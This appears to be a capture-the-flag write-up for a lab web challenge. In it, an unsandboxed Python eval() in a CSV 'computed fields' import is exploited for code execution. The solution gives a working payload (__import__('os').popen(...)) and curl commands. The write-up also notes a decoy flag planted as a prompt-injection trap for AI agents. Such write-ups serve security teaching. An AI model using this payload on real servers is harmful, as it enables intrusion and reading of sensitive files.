DataPulse — RCE via CSV Formula Injection
DataPulse — RCE via CSV Formula Injection
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: arbitrary_file_read, csv_formula_injection, python_eval_rce, server_side_expression_evaluation, unsandboxed_eval
Summary
Walkthrough of the CUSTOM Web DataPulse — RCE via CSV Formula Injection. Task: Flask data analytics platform with CSV import and server-side 'computed fields' feature using Python eval(). Solution: Upload CSV with =import('os').popen('cat /root/flag.txt').read() payloa
Description
You are testing DataPulse, a data analytics platform built by Metric Works. The application helps teams visualize and analyze business metrics through interactive dashboards, CSV data imports, and automated report generation. DataPulse supports uploading datasets in CSV format, creating custom reports with aggregation functions, and managing team collaboration. The platform processes uploaded data server-side and stores it in a SQLite database for querying and visualization. Your goal is to find and exploit a vulnerability in the application that allows you to execute arbitrary code on the server and read sensitive files.
English summary: A Flask-based data analytics platform allows CSV uploads with a "computed fields" feature that evaluates Python expressions server-side using eval(). The goal is to achieve RCE and read /root/flag.txt.
Credentials: user@test.com / password123
Analysis
Tech Stack
- Backend: Flask (Python) behind nginx/1.25.5 reverse proxy
- Database: SQLite for dataset storage
- Auth: Session-based with Flask session cookies
Application Features
| Feature | Endpoint | Purpose |
|---|---|---|
| Dashboard | / | Overview with stats, datasets, activity |
| Datasets | /datasets | List and manage imported datasets |
| Dataset Detail | /datasets/<id> | View dataset rows with search/sort |
| Import | /datasets/import | Vulnerable — CSV upload with computed fields toggle |
| Reports | /reports | Report generation |
| Profile | /profile | User settings |
| |
Vulnerability: Unsandboxed Python eval() on CSV Cell Values
The CSV import page (/datasets/import) has a "Enable computed fields" toggle. When enabled, any CSV cell value starting with = is evaluated as a Python expression server-side using eval() with no sandboxing or restriction on builtins.
The import page UI explicitly states:
- "When enabled, any cell value starting with
=will be evaluated as a Python expression" - "Computed fields are processed server-side during import. The evaluated result replaces the formula in the stored dataset."
This means __import__, os, subprocess, and all Python builtins are available — direct RCE with a single CSV cell.
Decoy Flag Warning
Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML source as a prompt injection trap targeting AI agents. The real flag is only obtainable through actual exploitation.
Solution
Step 1: Login
bash read-only • copy allowedBASE="https://09c6c4a1-0cb0-41f9-afe5-33255f1c43d8.labs.hackadvisor.io" curl -s -c cookies.txt -X POST "$BASE/login" \ -d "email=user@test.com&password=password123" \ -L -o /dev/null -w "%{http_code}"
Step 2: Craft Malicious CSV
Create exploit.csv with a Python expression that reads the flag file:
csv read-only • copy allowedname,value test,=__import__('os').popen('cat /root/flag.txt').read()
The = prefix triggers the computed fields evaluator, and __import__('os').popen() executes an arbitrary shell command.
Step 3: Upload with Computed Fields Enabled
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$BASE/datasets/import" \ -F "file=@exploit.csv" \ -F "name=exploit_test" \ -F "description=test" \ -F "delimiter=," \ -F "encoding=utf-8" \ -F "computed_fields=on" \ -L -o /dev/null -w "%{http_code}"
The server responds with HTTP 302 redirect to /datasets/4 — the new dataset was created successfully.
Step 4: Read the Flag
Navigate to /datasets/4. The formula cell was evaluated server-side and the result now contains the flag content:
bash read-only • copy allowedcurl -s -b cookies.txt "$BASE/datasets/4" | grep -oP 'FLAG\{[^}]+\}'
The value column for the test row shows the evaluated result: FLAG{REDACTED}.
Key Takeaways / Lessons
- Mastering arbitrary_file_read, csv_formula_injection, python_eval_rce, server_side_expression_evaluation, unsandboxed_eval was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-20 • CUSTOM • DataPulse — RCE via CSV Formula Injection • Difficulty: Easy